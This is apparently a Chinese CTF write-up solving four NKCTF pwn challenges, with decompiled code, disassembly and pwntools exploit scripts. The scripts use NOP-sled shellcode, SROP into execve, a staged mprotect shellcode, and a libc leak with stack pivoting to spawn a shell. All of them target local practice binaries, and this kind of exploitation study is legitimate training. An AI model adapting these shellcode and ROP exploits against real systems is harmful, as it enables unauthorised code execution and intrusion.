int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
char buf[108]; // [rsp+0h] [rbp-70h] BYREF
int v6; // [rsp+6Ch] [rbp-4h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
puts("welcome to NKCTF!");
puts("u can make it in 5 min!");
read(0, buf, 0x100uLL);
v3 = strlen(buf);
strncpy(buf2, buf, v3);
puts("good luck!");
v6 = rand() % 100 + 1;
((void (*)(void))&buf2[v6])();
return 0;
}
((void (*)(void))&buf2[v6])();
会执行输入的数据,可以写入shellcode。不过前面有rand来使开始执行的位置随机,可以使用nop指令(对应的机器码为\x90)来就对shellcode填充。
PS:感觉应该加上个播种函数,不然每次运行rand()都是一样的。同时100是不是应该为0x100,因为shellcode长度才0x30,前面填0x70的nop,不管怎样都会对上。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process("./ezshellcode")
shellcode = asm(shellcraft.sh())
payload = shellcode.rjust(0x100, b'\x90')
io.sendline(payload)
io.interactive()
程序中write和read操作直接使用系统调用,直接看汇编可以了解更多信息:
.text:00000000004011B9 ; __unwind {
.text:00000000004011B9 F3 0F 1E FA endbr64
.text:00000000004011BD 55 push rbp
.text:00000000004011BE 48 89 E5 mov rbp, rsp
.text:00000000004011C1 48 C7 C0 01 00 00 00 mov rax, 1
.text:00000000004011C8 48 C7 C2 26 00 00 00 mov rdx, 26h ; '&' ; count
.text:00000000004011CF 48 8D 34 25 40 40 40 00 lea rsi, nkctf ; "Welcome to the binary world of NKCTF!\n"
.text:00000000004011D7 48 89 C7 mov rdi, rax ; fd
.text:00000000004011DA 0F 05 syscall ; LINUX - sys_write
.text:00000000004011DC 48 31 C0 xor rax, rax
.text:00000000004011DF 48 C7 C2 00 02 00 00 mov rdx, 200h ; count
.text:00000000004011E6 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf
.text:00000000004011EB 48 89 C7 mov rdi, rax ; fd
.text:00000000004011EE 0F 05 syscall ; LINUX - sys_read
.text:00000000004011F0 B8 00 00 00 00 mov eax, 0
.text:00000000004011F5 5D pop rbp
.text:00000000004011F6 C3 retn
.text:00000000004011F6 ; } // starts at 4011B9
程序给了两个这样的gadget,暗示使用SROP:
.text:0000000000401146 ; ---------------------------------------------------------------------------
.text:0000000000401146
.text:0000000000401146 loc_401146: ; DATA XREF: _sub_401136+8↑r
.text:0000000000401146 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:000000000040114D C3 retn
.text:000000000040114D
.text:000000000040114E ; ---------------------------------------------------------------------------
.text:000000000040114E 0F 05 syscall ; LINUX -
.text:0000000000401150 C3 retn
.text:0000000000401150
同时存在栈溢出漏洞,表面我们可以控制执行流,从而调用rt_sigreturn
来伪造sigframe,从而调用execve。不过参数/bin/sh
是个问题。比较巧妙的是,在执行完sysread后,可以使控制执行流回到0x4011C8,相当于是sys_read
借了sys_write
的参数用了一下。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process("./ez_stack")
rax_15 = 0x401146
syscall_ret = 0x40114E
comeback = 0x4011C8
buf = 0x404040
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = buf
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret
payload1 = b'a' * 0x18 + p64(comeback)
io.sendafter('NKCTF!\n', payload1)
sleep(1)
io.send(b'/bin/sh\x00')
sleep(1)
payload2 = b'a' * 0x18 + p64(rax_15) + p64(syscall_ret) + flat(sigframe)
io.send(payload2)
io.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]
init(argc, argv, envp);
buf = (void *)(int)mmap((void *)0x9961000, 0x1000uLL, 7, 34, -1, 0LL);
puts("Last night i played touhou fuujinroku ~ Mountain of Faith\n");
puts("F**k! I failed and 9961 in the end!\n");
puts("In that case, you can only enter a very short shellcode!\n");
read(0, buf, 0x16uLL);
puts("I hope you can NMNB it!");
mprotect(buf, 0x1000uLL, 4);
JUMPOUT(0x9961000LL);
}
程序在0x9961000处开辟了一页空间,后面该页的权限改为了仅可写,然后跳转到该处执行。由于首次只能写入0x16字节的数据,所以在get shell之前得先将该页的权限改为rwx,然后继续调用sys_read对buf写入更多的数据。最后是get shell。
cdq指令:将EDX的所有位变成EAX最高位的值。
传入/bin/sh\x00时,0字符截断的问题:使用/bin//sh
字符串。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process("./pwn")
io.send(asm('''
mov rdi, r15
xor eax, eax
cdq
mov al, 10
mov dl, 7
syscall
xor eax, eax
mov esi, edi
mov edi, eax
mov dl, 0x7f
syscall
'''))
io.send(b'\x90' * 0x16 + asm('''
mov rsp, rsi
add rsp, 0x1000
xor rsi, rsi
mul rsi
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
mov al, 59
syscall
'''))
io.interactive()
// 这里存在栈溢出
ssize_t heart()
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
puts("now, come and read my heart...");
return read(0, buf, 0x20uLL);
}
// 这里可以泄露libc基址
int warning()
{
puts("Before u read this, i think u should read first 3.");
return printf("I give it up, you can see this. %p\n", &puts);
}
由于栈溢出的可溢出数据较少,栈迁移是必不可少的。不过每次最多只能写0x20的字节,无法控制执行流get shell。此时将system的地址写入comment的空间中,然后栈迁移时调整写入数据的位置,使之刚好后面接到system。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process("./pwn")
libc = ELF("./libc.so.6")
back_read = 0x401387
# leak libc
io.recv()
io.sendline("4")
io.recvuntil("I give it up, you can see this. 0x")
libc_base = int(io.recv(12), 16) - libc.sym['puts']
print("libc_base: " + str(hex(libc_base)))
ogg = libc_base + 0xe3b04
pop_rdi = 0x401573
bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
system = libc_base + libc.sym['system']
ret = 0x40101a
love_comment = 0x4050A0 - 0x10
io.sendlineafter("> ", "1")
io.sendlineafter("what's your comment?", 'a'*8)
io.sendlineafter("> ", "2")
io.sendlineafter("what's your corment?", 'a'*8)
io.sendlineafter("> ", "3")
io.sendlineafter("what's your corMenT?", p64(system))
io.sendlineafter("> ", "4")
io.sendafter("now, come and read my heart...", b'a'*0xa + p64(love_comment) + p64(back_read))
p1 = b'a'*0xa + p64(love_comment+0xa) + p64(back_read)
io.send(p1.ljust(0x20, b'\x00'))
p2 = p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh)
io.send(p2.ljust(0x20, b'\x00'))
io.interactive()
链接:https://pan.baidu.com/s/1Tk4C0l4fOER_qKxeeZzktQ
提取码:lele
↶ 返回首页